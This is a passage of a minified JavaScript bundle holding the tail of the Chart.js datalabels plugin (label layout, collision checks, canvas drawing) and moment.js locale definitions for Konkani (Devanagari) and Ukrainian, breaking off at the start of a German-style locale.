e.font=s,{height:i*n.lineHeight,width:o}},parseFont:function(n){var r=e.defaults.global,i=t.valueOrDefault(n.size,r.defaultFontSize),s={family:t.valueOrDefault(n.family,r.defaultFontFamily),lineHeight:t.options.toLineHeight(n.lineHeight,i),size:i,style:t.valueOrDefault(n.style,r.defaultFontStyle),weight:t.valueOrDefault(n.weight,null),string:""};return s.string=a.toFontString(s),s},bound:function(e,t,n){return Math.max(e,Math.min(t,n))},arrayDiff:function(e,t){var n,a,r,i,s=e.slice(),o=[];for(n=0,r=t.length;n<r;++n)-1===(a=s.indexOf(i=t[n]))?o.push([i,1]):s.splice(a,1);for(n=0,r=s.length;n<r;++n)o.push([s[n],-1]);return o},rasterize:function(e){return Math.round(e*n)/n}};function r(e,t){var n=t.x,a=t.y;if(null===n)return{x:0,y:-1};if(null===a)return{x:1,y:0};var r=e.x-n,i=e.y-a,s=Math.sqrt(r*r+i*i);return{x:s?r/s:0,y:s?i/s:-1}}function i(e,t,n){var a=0;return e<n.left?a|=1:e>n.right&&(a|=2),t<n.top?a|=8:t>n.bottom&&(a|=4),a}function s(e,t){var n,a,r=t.anchor,s=e;return t.clamp&&(s=function(e,t){for(var n,a,r,s=e.x0,o=e.y0,l=e.x1,d=e.y1,u=i(s,o,t),c=i(l,d,t);u|c&&!(u&c);)8&(n=u||c)?(a=s+(l-s)*(t.top-o)/(d-o),r=t.top):4&n?(a=s+(l-s)*(t.bottom-o)/(d-o),r=t.bottom):2&n?(r=o+(d-o)*(t.right-s)/(l-s),a=t.right):1&n&&(r=o+(d-o)*(t.left-s)/(l-s),a=t.left),n===u?u=i(s=a,o=r,t):c=i(l=a,d=r,t);return{x0:s,x1:l,y0:o,y1:d}}(s,t.area)),"start"===r?(n=s.x0,a=s.y0):"end"===r?(n=s.x1,a=s.y1):(n=(s.x0+s.x1)/2,a=(s.y0+s.y1)/2),function(e,t,n,a,r){switch(r){case"center":n=a=0;break;case"bottom":n=0,a=1;break;case"right":n=1,a=0;break;case"left":n=-1,a=0;break;case"top":n=0,a=-1;break;case"start":n=-n,a=-a;break;case"end":break;default:r*=Math.PI/180,n=Math.cos(r),a=Math.sin(r)}return{x:e,y:t,vx:n,vy:a}}(n,a,e.vx,e.vy,t.align)}var o=function(e,t){var n=(e.startAngle+e.endAngle)/2,a=Math.cos(n),r=Math.sin(n),i=e.innerRadius,o=e.outerRadius;return s({x0:e.x+a*i,y0:e.y+r*i,x1:e.x+a*o,y1:e.y+r*o,vx:a,vy:r},t)},l=function(e,t){var n=r(e,t.origin),a=n.x*e.radius,i=n.y*e.radius;return s({x0:e.x-a,y0:e.y-i,x1:e.x+a,y1:e.y+i,vx:n.x,vy:n.y},t)},d=function(e,t){var n=r(e,t.origin),a=e.x,i=e.y,o=0,l=0;return e.horizontal?(a=Math.min(e.x,e.base),o=Math.abs(e.base-e.x)):(i=Math.min(e.y,e.base),l=Math.abs(e.base-e.y)),s({x0:a,y0:i+l,x1:a+o,y1:i,vx:n.x,vy:n.y},t)},u=function(e,t){var n=r(e,t.origin);return s({x0:e.x,y0:e.y,x1:e.x,y1:e.y,vx:n.x,vy:n.y},t)},c=e.helpers,h=a.rasterize;function m(e){var t=e._model.horizontal,n=e._scale||t&&e._xScale||e._yScale;if(!n)return null;if(void 0!==n.xCenter&&void 0!==n.yCenter)return{x:n.xCenter,y:n.yCenter};var a=n.getBasePixel();return t?{x:a,y:null}:{x:null,y:a}}function _(e,t,n){var a=e.shadowBlur,r=n.stroked,i=h(n.x),s=h(n.y),o=h(n.w);r&&e.strokeText(t,i,s,o),n.filled&&(a&&r&&(e.shadowBlur=0),e.fillText(t,i,s,o),a&&r&&(e.shadowBlur=a))}var f=function(e,t,n,a){var r=this;r._config=e,r._index=a,r._model=null,r._rects=null,r._ctx=t,r._el=n};c.extend(f.prototype,{_modelize:function(t,n,r,i){var s,h=this._index,_=c.options.resolve,f=a.parseFont(_([r.font,{}],i,h)),p=_([r.color,e.defaults.global.defaultFontColor],i,h);return{align:_([r.align,"center"],i,h),anchor:_([r.anchor,"center"],i,h),area:i.chart.chartArea,backgroundColor:_([r.backgroundColor,null],i,h),borderColor:_([r.borderColor,null],i,h),borderRadius:_([r.borderRadius,0],i,h),borderWidth:_([r.borderWidth,0],i,h),clamp:_([r.clamp,!1],i,h),clip:_([r.clip,!1],i,h),color:p,display:t,font:f,lines:n,offset:_([r.offset,0],i,h),opacity:_([r.opacity,1],i,h),origin:m(this._el),padding:c.options.toPadding(_([r.padding,0],i,h)),positioner:(s=this._el,s instanceof e.elements.Arc?o:s instanceof e.elements.Point?l:s instanceof e.elements.Rectangle?d:u),rotation:_([r.rotation,0],i,h)*(Math.PI/180),size:a.textSize(this._ctx,n,f),textAlign:_([r.textAlign,"start"],i,h),textShadowBlur:_([r.textShadowBlur,0],i,h),textShadowColor:_([r.textShadowColor,p],i,h),textStrokeColor:_([r.textStrokeColor,p],i,h),textStrokeWidth:_([r.textStrokeWidth,0],i,h)}},update:function(e){var t,n,r,i=this,s=null,o=null,l=i._index,d=i._config,u=c.options.resolve([d.display,!0],e,l);u&&(n=c.valueOrDefault(c.callback(d.formatter,[t=e.dataset.data[l],e]),t),(r=c.isNullOrUndef(n)?[]:a.toTextLines(n)).length&&(o=function(e){var t=e.borderWidth||0,n=e.padding,a=e.size.height,r=e.size.width,i=-r/2,s=-a/2;return{frame:{x:i-n.left-t,y:s-n.top-t,w:r+n.width+2*t,h:a+n.height+2*t},text:{x:i,y:s,w:r,h:a}}}(s=i._modelize(u,r,d,e)))),i._model=s,i._rects=o},geometry:function(){return this._rects?this._rects.frame:{}},rotation:function(){return this._model?this._model.rotation:0},visible:function(){return this._model&&this._model.opacity},model:function(){return this._model},draw:function(e,t){var n,r=e.ctx,i=this._model,s=this._rects;this.visible()&&(r.save(),i.clip&&(n=i.area,r.beginPath(),r.rect(n.left,n.top,n.right-n.left,n.bottom-n.top),r.clip()),r.globalAlpha=a.bound(0,i.opacity,1),r.translate(h(t.x),h(t.y)),r.rotate(i.rotation),function(e,t,n){var a=n.backgroundColor,r=n.borderColor,i=n.borderWidth;(a||r&&i)&&(e.beginPath(),c.canvas.roundedRect(e,h(t.x)+i/2,h(t.y)+i/2,h(t.w)-i,h(t.h)-i,n.borderRadius),e.closePath(),a&&(e.fillStyle=a,e.fill()),r&&i&&(e.strokeStyle=r,e.lineWidth=i,e.lineJoin="miter",e.stroke()))}(r,s.frame,i),function(e,t,n,a){var r,i=a.textAlign,s=a.color,o=!!s,l=a.font,d=t.length,u=a.textStrokeColor,c=a.textStrokeWidth,h=u&&c;if(d&&(o||h))for(n=function(e,t,n){var a=n.lineHeight,r=e.w,i=e.x;return"center"===t?i+=r/2:"end"!==t&&"right"!==t||(i+=r),{h:a,w:r,x:i,y:e.y+a/2}}(n,i,l),e.font=l.string,e.textAlign=i,e.textBaseline="middle",e.shadowBlur=a.textShadowBlur,e.shadowColor=a.textShadowColor,o&&(e.fillStyle=s),h&&(e.lineJoin="round",e.lineWidth=c,e.strokeStyle=u),r=0,d=t.length;r<d;++r)_(e,t[r],{stroked:h,filled:o,w:n.w,x:n.x,y:n.y+n.h*r})}(r,i.lines,s.text,i),r.restore())}});var p=Number.MIN_SAFE_INTEGER||-9007199254740991,g=Number.MAX_SAFE_INTEGER||9007199254740991;function b(e,t,n){var a=Math.cos(n),r=Math.sin(n),i=t.x,s=t.y;return{x:i+a*(e.x-i)-r*(e.y-s),y:s+r*(e.x-i)+a*(e.y-s)}}function y(e,t){var n,a,r,i=g,s=p,o=t.origin;for(n=0;n<e.length;++n)r=t.vx*((a=e[n]).x-o.x)+t.vy*(a.y-o.y),i=Math.min(i,r),s=Math.max(s,r);return{min:i,max:s}}function M(e,t){var n=t.x-e.x,a=t.y-e.y,r=Math.sqrt(n*n+a*a);return{vx:(t.x-e.x)/r,vy:(t.y-e.y)/r,origin:e,ln:r}}var v=function(){this._rotation=0,this._rect={x:0,y:0,w:0,h:0}};function L(e,t,n){var a=t.positioner(e,t),r=a.vx,i=a.vy;if(!r&&!i)return{x:a.x,y:a.y};var s=n.w,o=n.h,l=t.rotation,d=Math.abs(s/2*Math.cos(l))+Math.abs(o/2*Math.sin(l)),u=Math.abs(s/2*Math.sin(l))+Math.abs(o/2*Math.cos(l)),c=1/Math.max(Math.abs(r),Math.abs(i));return d*=r*c,u*=i*c,{x:a.x+(d+=t.offset*r),y:a.y+(u+=t.offset*i)}}e.helpers.extend(v.prototype,{center:function(){var e=this._rect;return{x:e.x+e.w/2,y:e.y+e.h/2}},update:function(e,t,n){this._rotation=n,this._rect={x:t.x+e.x,y:t.y+e.y,w:t.w,h:t.h}},contains:function(e){var t=this._rect;return!((e=b(e,this.center(),-this._rotation)).x<t.x-1||e.y<t.y-1||e.x>t.x+t.w+2||e.y>t.y+t.h+2)},intersects:function(e){var t,n,a,r=this._points(),i=e._points(),s=[M(r[0],r[1]),M(r[0],r[3])];for(this._rotation!==e._rotation&&s.push(M(i[0],i[1]),M(i[0],i[3])),t=0;t<s.length;++t)if(n=y(r,s[t]),a=y(i,s[t]),n.max<a.min||a.max<n.min)return!1;return!0},_points:function(){var e=this._rect,t=this._rotation,n=this.center();return[b({x:e.x,y:e.y},n,t),b({x:e.x+e.w,y:e.y},n,t),b({x:e.x+e.w,y:e.y+e.h},n,t),b({x:e.x,y:e.y+e.h},n,t)]}});var k={prepare:function(e){var t,n,a,r,i,s=[];for(t=0,a=e.length;t<a;++t)for(n=0,r=e[t].length;n<r;++n)s.push(i=e[t][n]),i.$layout={_box:new v,_hidable:!1,_visible:!0,_set:t,_idx:n};return s.sort((function(e,t){var n=e.$layout,a=t.$layout;return n._idx===a._idx?a._set-n._set:a._idx-n._idx})),this.update(s),s},update:function(e){var t,n,a,r,i,s=!1;for(t=0,n=e.length;t<n;++t)r=(a=e[t]).model(),(i=a.$layout)._hidable=r&&"auto"===r.display,i._visible=a.visible(),s|=i._hidable;s&&function(e){var t,n,a,r,i,s;for(t=0,n=e.length;t<n;++t)(r=(a=e[t]).$layout)._visible&&(i=a.geometry(),s=L(a._el._model,a.model(),i),r._box.update(s,i,a.rotation()));!function(e,t){var n,a,r,i;for(n=e.length-1;n>=0;--n)for(r=e[n].$layout,a=n-1;a>=0&&r._visible;--a)(i=e[a].$layout)._visible&&r._box.intersects(i._box)&&t(r,i)}(e,(function(e,t){var n=e._hidable,a=t._hidable;n&&a||a?t._visible=!1:n&&(e._visible=!1)}))}(e)},lookup:function(e,t){var n,a;for(n=e.length-1;n>=0;--n)if((a=e[n].$layout)&&a._visible&&a._box.contains(t))return e[n];return null},draw:function(e,t){var n,a,r,i,s,o;for(n=0,a=t.length;n<a;++n)(i=(r=t[n]).$layout)._visible&&(s=r.geometry(),o=L(r._el._view,r.model(),s),i._box.update(o,s,r.rotation()),r.draw(e,o))}},w=e.helpers,x=e.helpers,D="$datalabels";function Y(e,t,n){if(t){var a,r=n.$context,i=n.$groups;t[i._set]&&(a=t[i._set][i._key])&&!0===x.callback(a,[r])&&(e[D]._dirty=!0,n.update(r))}}e.defaults.global.plugins.datalabels={align:"center",anchor:"center",backgroundColor:null,borderColor:null,borderRadius:0,borderWidth:0,clamp:!1,clip:!1,color:void 0,display:!0,font:{family:void 0,lineHeight:1.2,size:void 0,style:void 0,weight:null},formatter:function(e){if(w.isNullOrUndef(e))return null;var t,n,a,r=e;if(w.isObject(e))if(w.isNullOrUndef(e.label))if(w.isNullOrUndef(e.r))for(r="",a=0,n=(t=Object.keys(e)).length;a<n;++a)r+=(0!==a?", ":"")+t[a]+": "+e[t[a]];else r=e.r;else r=e.label;return""+r},labels:void 0,listeners:{},offset:4,opacity:1,padding:{top:4,right:4,bottom:4,left:4},rotation:0,textAlign:"start",textStrokeColor:void 0,textStrokeWidth:0,textShadowBlur:0,textShadowColor:void 0};var T={id:"datalabels",beforeInit:function(e){e[D]={_actives:[]}},beforeUpdate:function(e){var t=e[D];t._listened=!1,t._listeners={},t._datasets=[],t._labels=[]},afterDatasetUpdate:function(e,t,n){var a,r,i,s,o,l,d,u,c=t.index,h=e[D],m=h._datasets[c]=[],_=e.isDatasetVisible(c),p=e.data.datasets[c],g=function(e,t){var n,a,r,i=e.datalabels,s=[];return!1===i?null:(!0===i&&(i={}),t=x.merge({},[t,i]),a=t.labels||{},r=Object.keys(a),delete t.labels,r.length?r.forEach((function(e){a[e]&&s.push(x.merge({},[t,a[e],{_key:e}]))})):s.push(t),n=s.reduce((function(e,t){return x.each(t.listeners||{},(function(n,a){e[a]=e[a]||{},e[a][t._key||"$default"]=n})),delete t.listeners,e}),{}),{labels:s,listeners:n})}(p,n),b=t.meta.data||[],y=e.ctx;for(y.save(),a=0,i=b.length;a<i;++a)if((d=b[a])[D]=[],_&&d&&!d.hidden&&!d._model.skip)for(r=0,s=g.labels.length;r<s;++r)l=(o=g.labels[r])._key,(u=new f(o,y,d,a)).$groups={_set:c,_key:l||"$default"},u.$context={active:!1,chart:e,dataIndex:a,dataset:p,datasetIndex:c},u.update(u.$context),d[D].push(u),m.push(u);y.restore(),x.merge(h._listeners,g.listeners,{merger:function(e,n,a){n[e]=n[e]||{},n[e][t.index]=a[e],h._listened=!0}})},afterUpdate:function(e,t){e[D]._labels=k.prepare(e[D]._datasets,t)},afterDatasetsDraw:function(e){k.draw(e,e[D]._labels)},beforeEvent:function(e,t){if(e[D]._listened)switch(t.type){case"mousemove":case"mouseout":!function(e,t){var n,a,r=e[D],i=r._listeners;if(i.enter||i.leave){if("mousemove"===t.type)a=k.lookup(r._labels,t);else if("mouseout"!==t.type)return;n=r._hovered,r._hovered=a,function(e,t,n,a){var r,i;(n||a)&&(n?a?n!==a&&(i=r=!0):i=!0:r=!0,i&&Y(e,t.leave,n),r&&Y(e,t.enter,a))}(e,i,n,a)}}(e,t);break;case"click":!function(e,t){var n=e[D],a=n._listeners.click,r=a&&k.lookup(n._labels,t);r&&Y(e,a,r)}(e,t)}},afterEvent:function(t){var n,r,i,s,o,l,d,u=t[D],c=u._actives,h=u._actives=t.lastActive||[],m=a.arrayDiff(c,h);for(n=0,r=m.length;n<r;++n)if((o=m[n])[1])for(i=0,s=(d=o[0][D]||[]).length;i<s;++i)(l=d[i]).$context.active=1===o[1],l.update(l.$context);(u._dirty||m.length)&&(k.update(u._labels),function(t){if(!t.animating){for(var n=e.animationService.animations,a=0,r=n.length;a<r;++a)if(n[a].chart===t)return;t.render({duration:1,lazy:!0})}}(t)),delete u._dirty}};return e.plugins.register(T),T}(n("MO+k"))},qvJo:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={s:["\u0925\u094b\u0921\u092f\u093e \u0938\u0945\u0915\u0902\u0921\u093e\u0902\u0928\u0940","\u0925\u094b\u0921\u0947 \u0938\u0945\u0915\u0902\u0921"],ss:[e+" \u0938\u0945\u0915\u0902\u0921\u093e\u0902\u0928\u0940",e+" \u0938\u0945\u0915\u0902\u0921"],m:["\u090f\u0915\u093e \u092e\u093f\u0923\u091f\u093e\u0928","\u090f\u0915 \u092e\u093f\u0928\u0942\u091f"],mm:[e+" \u092e\u093f\u0923\u091f\u093e\u0902\u0928\u0940",e+" \u092e\u093f\u0923\u091f\u093e\u0902"],h:["\u090f\u0915\u093e \u0935\u0930\u093e\u0928","\u090f\u0915 \u0935\u0930"],hh:[e+" \u0935\u0930\u093e\u0902\u0928\u0940",e+" \u0935\u0930\u093e\u0902"],d:["\u090f\u0915\u093e \u0926\u093f\u0938\u093e\u0928","\u090f\u0915 \u0926\u0940\u0938"],dd:[e+" \u0926\u093f\u0938\u093e\u0902\u0928\u0940",e+" \u0926\u0940\u0938"],M:["\u090f\u0915\u093e \u092e\u094d\u0939\u092f\u0928\u094d\u092f\u093e\u0928","\u090f\u0915 \u092e\u094d\u0939\u092f\u0928\u094b"],MM:[e+" \u092e\u094d\u0939\u092f\u0928\u094d\u092f\u093e\u0928\u0940",e+" \u092e\u094d\u0939\u092f\u0928\u0947"],y:["\u090f\u0915\u093e \u0935\u0930\u094d\u0938\u093e\u0928","\u090f\u0915 \u0935\u0930\u094d\u0938"],yy:[e+" \u0935\u0930\u094d\u0938\u093e\u0902\u0928\u0940",e+" \u0935\u0930\u094d\u0938\u093e\u0902"]};return a?r[n][0]:r[n][1]}e.defineLocale("gom-deva",{months:{standalone:"\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940_\u092b\u0947\u092c\u094d\u0930\u0941\u0935\u093e\u0930\u0940_\u092e\u093e\u0930\u094d\u091a_\u090f\u092a\u094d\u0930\u0940\u0932_\u092e\u0947_\u091c\u0942\u0928_\u091c\u0941\u0932\u092f_\u0911\u0917\u0938\u094d\u091f_\u0938\u092a\u094d\u091f\u0947\u0902\u092c\u0930_\u0911\u0915\u094d\u091f\u094b\u092c\u0930_\u0928\u094b\u0935\u094d\u0939\u0947\u0902\u092c\u0930_\u0921\u093f\u0938\u0947\u0902\u092c\u0930".split("_"),format:"\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940\u091a\u094d\u092f\u093e_\u092b\u0947\u092c\u094d\u0930\u0941\u0935\u093e\u0930\u0940\u091a\u094d\u092f\u093e_\u092e\u093e\u0930\u094d\u091a\u093e\u091a\u094d\u092f\u093e_\u090f\u092a\u094d\u0930\u0940\u0932\u093e\u091a\u094d\u092f\u093e_\u092e\u0947\u092f\u093e\u091a\u094d\u092f\u093e_\u091c\u0942\u0928\u093e\u091a\u094d\u092f\u093e_\u091c\u0941\u0932\u092f\u093e\u091a\u094d\u092f\u093e_\u0911\u0917\u0938\u094d\u091f\u093e\u091a\u094d\u092f\u093e_\u0938\u092a\u094d\u091f\u0947\u0902\u092c\u0930\u093e\u091a\u094d\u092f\u093e_\u0911\u0915\u094d\u091f\u094b\u092c\u0930\u093e\u091a\u094d\u092f\u093e_\u0928\u094b\u0935\u094d\u0939\u0947\u0902\u092c\u0930\u093e\u091a\u094d\u092f\u093e_\u0921\u093f\u0938\u0947\u0902\u092c\u0930\u093e\u091a\u094d\u092f\u093e".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"\u091c\u093e\u0928\u0947._\u092b\u0947\u092c\u094d\u0930\u0941._\u092e\u093e\u0930\u094d\u091a_\u090f\u092a\u094d\u0930\u0940._\u092e\u0947_\u091c\u0942\u0928_\u091c\u0941\u0932._\u0911\u0917._\u0938\u092a\u094d\u091f\u0947\u0902._\u0911\u0915\u094d\u091f\u094b._\u0928\u094b\u0935\u094d\u0939\u0947\u0902._\u0921\u093f\u0938\u0947\u0902.".split("_"),monthsParseExact:!0,weekdays:"\u0906\u092f\u0924\u093e\u0930_\u0938\u094b\u092e\u093e\u0930_\u092e\u0902\u0917\u0933\u093e\u0930_\u092c\u0941\u0927\u0935\u093e\u0930_\u092c\u093f\u0930\u0947\u0938\u094d\u0924\u093e\u0930_\u0938\u0941\u0915\u094d\u0930\u093e\u0930_\u0936\u0947\u0928\u0935\u093e\u0930".split("_"),weekdaysShort:"\u0906\u092f\u0924._\u0938\u094b\u092e._\u092e\u0902\u0917\u0933._\u092c\u0941\u0927._\u092c\u094d\u0930\u0947\u0938\u094d\u0924._\u0938\u0941\u0915\u094d\u0930._\u0936\u0947\u0928.".split("_"),weekdaysMin:"\u0906_\u0938\u094b_\u092e\u0902_\u092c\u0941_\u092c\u094d\u0930\u0947_\u0938\u0941_\u0936\u0947".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [\u0935\u093e\u091c\u0924\u093e\u0902]",LTS:"A h:mm:ss [\u0935\u093e\u091c\u0924\u093e\u0902]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [\u0935\u093e\u091c\u0924\u093e\u0902]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [\u0935\u093e\u091c\u0924\u093e\u0902]",llll:"ddd, D MMM YYYY, A h:mm [\u0935\u093e\u091c\u0924\u093e\u0902]"},calendar:{sameDay:"[\u0906\u092f\u091c] LT",nextDay:"[\u092b\u093e\u0932\u094d\u092f\u093e\u0902] LT",nextWeek:"[\u092b\u0941\u0921\u0932\u094b] dddd[,] LT",lastDay:"[\u0915\u093e\u0932] LT",lastWeek:"[\u092b\u093e\u091f\u0932\u094b] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s \u0906\u0926\u0940\u0902",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(\u0935\u0947\u0930)/,ordinal:function(e,t){switch(t){case"D":return e+"\u0935\u0947\u0930";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/\u0930\u093e\u0924\u0940|\u0938\u0915\u093e\u0933\u0940\u0902|\u0926\u0928\u092a\u093e\u0930\u093e\u0902|\u0938\u093e\u0902\u091c\u0947/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0930\u093e\u0924\u0940"===t?e<4?e:e+12:"\u0938\u0915\u093e\u0933\u0940\u0902"===t?e:"\u0926\u0928\u092a\u093e\u0930\u093e\u0902"===t?e>12?e:e+12:"\u0938\u093e\u0902\u091c\u0947"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u0930\u093e\u0924\u0940":e<12?"\u0938\u0915\u093e\u0933\u0940\u0902":e<16?"\u0926\u0928\u092a\u093e\u0930\u093e\u0902":e<20?"\u0938\u093e\u0902\u091c\u0947":"\u0930\u093e\u0924\u0940"}})}(n("wd/R"))},raLr:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a,r;return"m"===n?t?"\u0445\u0432\u0438\u043b\u0438\u043d\u0430":"\u0445\u0432\u0438\u043b\u0438\u043d\u0443":"h"===n?t?"\u0433\u043e\u0434\u0438\u043d\u0430":"\u0433\u043e\u0434\u0438\u043d\u0443":e+" "+(a=+e,r={ss:t?"\u0441\u0435\u043a\u0443\u043d\u0434\u0430_\u0441\u0435\u043a\u0443\u043d\u0434\u0438_\u0441\u0435\u043a\u0443\u043d\u0434":"\u0441\u0435\u043a\u0443\u043d\u0434\u0443_\u0441\u0435\u043a\u0443\u043d\u0434\u0438_\u0441\u0435\u043a\u0443\u043d\u0434",mm:t?"\u0445\u0432\u0438\u043b\u0438\u043d\u0430_\u0445\u0432\u0438\u043b\u0438\u043d\u0438_\u0445\u0432\u0438\u043b\u0438\u043d":"\u0445\u0432\u0438\u043b\u0438\u043d\u0443_\u0445\u0432\u0438\u043b\u0438\u043d\u0438_\u0445\u0432\u0438\u043b\u0438\u043d",hh:t?"\u0433\u043e\u0434\u0438\u043d\u0430_\u0433\u043e\u0434\u0438\u043d\u0438_\u0433\u043e\u0434\u0438\u043d":"\u0433\u043e\u0434\u0438\u043d\u0443_\u0433\u043e\u0434\u0438\u043d\u0438_\u0433\u043e\u0434\u0438\u043d",dd:"\u0434\u0435\u043d\u044c_\u0434\u043d\u0456_\u0434\u043d\u0456\u0432",MM:"\u043c\u0456\u0441\u044f\u0446\u044c_\u043c\u0456\u0441\u044f\u0446\u0456_\u043c\u0456\u0441\u044f\u0446\u0456\u0432",yy:"\u0440\u0456\u043a_\u0440\u043e\u043a\u0438_\u0440\u043e\u043a\u0456\u0432"}[n].split("_"),a%10==1&&a%100!=11?r[0]:a%10>=2&&a%10<=4&&(a%100<10||a%100>=20)?r[1]:r[2])}function n(e){return function(){return e+"\u043e"+(11===this.hours()?"\u0431":"")+"] LT"}}e.defineLocale("uk",{months:{format:"\u0441\u0456\u0447\u043d\u044f_\u043b\u044e\u0442\u043e\u0433\u043e_\u0431\u0435\u0440\u0435\u0437\u043d\u044f_\u043a\u0432\u0456\u0442\u043d\u044f_\u0442\u0440\u0430\u0432\u043d\u044f_\u0447\u0435\u0440\u0432\u043d\u044f_\u043b\u0438\u043f\u043d\u044f_\u0441\u0435\u0440\u043f\u043d\u044f_\u0432\u0435\u0440\u0435\u0441\u043d\u044f_\u0436\u043e\u0432\u0442\u043d\u044f_\u043b\u0438\u0441\u0442\u043e\u043f\u0430\u0434\u0430_\u0433\u0440\u0443\u0434\u043d\u044f".split("_"),standalone:"\u0441\u0456\u0447\u0435\u043d\u044c_\u043b\u044e\u0442\u0438\u0439_\u0431\u0435\u0440\u0435\u0437\u0435\u043d\u044c_\u043a\u0432\u0456\u0442\u0435\u043d\u044c_\u0442\u0440\u0430\u0432\u0435\u043d\u044c_\u0447\u0435\u0440\u0432\u0435\u043d\u044c_\u043b\u0438\u043f\u0435\u043d\u044c_\u0441\u0435\u0440\u043f\u0435\u043d\u044c_\u0432\u0435\u0440\u0435\u0441\u0435\u043d\u044c_\u0436\u043e\u0432\u0442\u0435\u043d\u044c_\u043b\u0438\u0441\u0442\u043e\u043f\u0430\u0434_\u0433\u0440\u0443\u0434\u0435\u043d\u044c".split("_")},monthsShort:"\u0441\u0456\u0447_\u043b\u044e\u0442_\u0431\u0435\u0440_\u043a\u0432\u0456\u0442_\u0442\u0440\u0430\u0432_\u0447\u0435\u0440\u0432_\u043b\u0438\u043f_\u0441\u0435\u0440\u043f_\u0432\u0435\u0440_\u0436\u043e\u0432\u0442_\u043b\u0438\u0441\u0442_\u0433\u0440\u0443\u0434".split("_"),weekdays:function(e,t){var n={nominative:"\u043d\u0435\u0434\u0456\u043b\u044f_\u043f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a_\u0432\u0456\u0432\u0442\u043e\u0440\u043e\u043a_\u0441\u0435\u0440\u0435\u0434\u0430_\u0447\u0435\u0442\u0432\u0435\u0440_\u043f\u2019\u044f\u0442\u043d\u0438\u0446\u044f_\u0441\u0443\u0431\u043e\u0442\u0430".split("_"),accusative:"\u043d\u0435\u0434\u0456\u043b\u044e_\u043f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a_\u0432\u0456\u0432\u0442\u043e\u0440\u043e\u043a_\u0441\u0435\u0440\u0435\u0434\u0443_\u0447\u0435\u0442\u0432\u0435\u0440_\u043f\u2019\u044f\u0442\u043d\u0438\u0446\u044e_\u0441\u0443\u0431\u043e\u0442\u0443".split("_"),genitive:"\u043d\u0435\u0434\u0456\u043b\u0456_\u043f\u043e\u043d\u0435\u0434\u0456\u043b\u043a\u0430_\u0432\u0456\u0432\u0442\u043e\u0440\u043a\u0430_\u0441\u0435\u0440\u0435\u0434\u0438_\u0447\u0435\u0442\u0432\u0435\u0440\u0433\u0430_\u043f\u2019\u044f\u0442\u043d\u0438\u0446\u0456_\u0441\u0443\u0431\u043e\u0442\u0438".split("_")};return!0===e?n.nominative.slice(1,7).concat(n.nominative.slice(0,1)):e?n[/(\[[\u0412\u0432\u0423\u0443]\]) ?dddd/.test(t)?"accusative":/\[?(?:\u043c\u0438\u043d\u0443\u043b\u043e\u0457|\u043d\u0430\u0441\u0442\u0443\u043f\u043d\u043e\u0457)? ?\] ?dddd/.test(t)?"genitive":"nominative"][e.day()]:n.nominative},weekdaysShort:"\u043d\u0434_\u043f\u043d_\u0432\u0442_\u0441\u0440_\u0447\u0442_\u043f\u0442_\u0441\u0431".split("_"),weekdaysMin:"\u043d\u0434_\u043f\u043d_\u0432\u0442_\u0441\u0440_\u0447\u0442_\u043f\u0442_\u0441\u0431".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY \u0440.",LLL:"D MMMM YYYY \u0440., HH:mm",LLLL:"dddd, D MMMM YYYY \u0440., HH:mm"},calendar:{sameDay:n("[\u0421\u044c\u043e\u0433\u043e\u0434\u043d\u0456 "),nextDay:n("[\u0417\u0430\u0432\u0442\u0440\u0430 "),lastDay:n("[\u0412\u0447\u043e\u0440\u0430 "),nextWeek:n("[\u0423] dddd ["),lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return n("[\u041c\u0438\u043d\u0443\u043b\u043e\u0457] dddd [").call(this);case 1:case 2:case 4:return n("[\u041c\u0438\u043d\u0443\u043b\u043e\u0433\u043e] dddd [").call(this)}},sameElse:"L"},relativeTime:{future:"\u0437\u0430 %s",past:"%s \u0442\u043e\u043c\u0443",s:"\u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u0441\u0435\u043a\u0443\u043d\u0434",ss:t,m:t,mm:t,h:"\u0433\u043e\u0434\u0438\u043d\u0443",hh:t,d:"\u0434\u0435\u043d\u044c",dd:t,M:"\u043c\u0456\u0441\u044f\u0446\u044c",MM:t,y:"\u0440\u0456\u043a",yy:t},meridiemParse:/\u043d\u043e\u0447\u0456|\u0440\u0430\u043d\u043a\u0443|\u0434\u043d\u044f|\u0432\u0435\u0447\u043e\u0440\u0430/,isPM:function(e){return/^(\u0434\u043d\u044f|\u0432\u0435\u0447\u043e\u0440\u0430)$/.test(e)},meridiem:function(e,t,n){return e<4?"\u043d\u043e\u0447\u0456":e<12?"\u0440\u0430\u043d\u043a\u0443":e<17?"\u0434\u043d\u044f":"\u0432\u0435\u0447\u043e\u0440\u0430"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0439|\u0433\u043e)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e+"-\u0439";case"D":return e+"-\u0433\u043e";default:return e}},week:{dow:1,doy:7}})}(n("wd/R"))},"s+uk":function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return 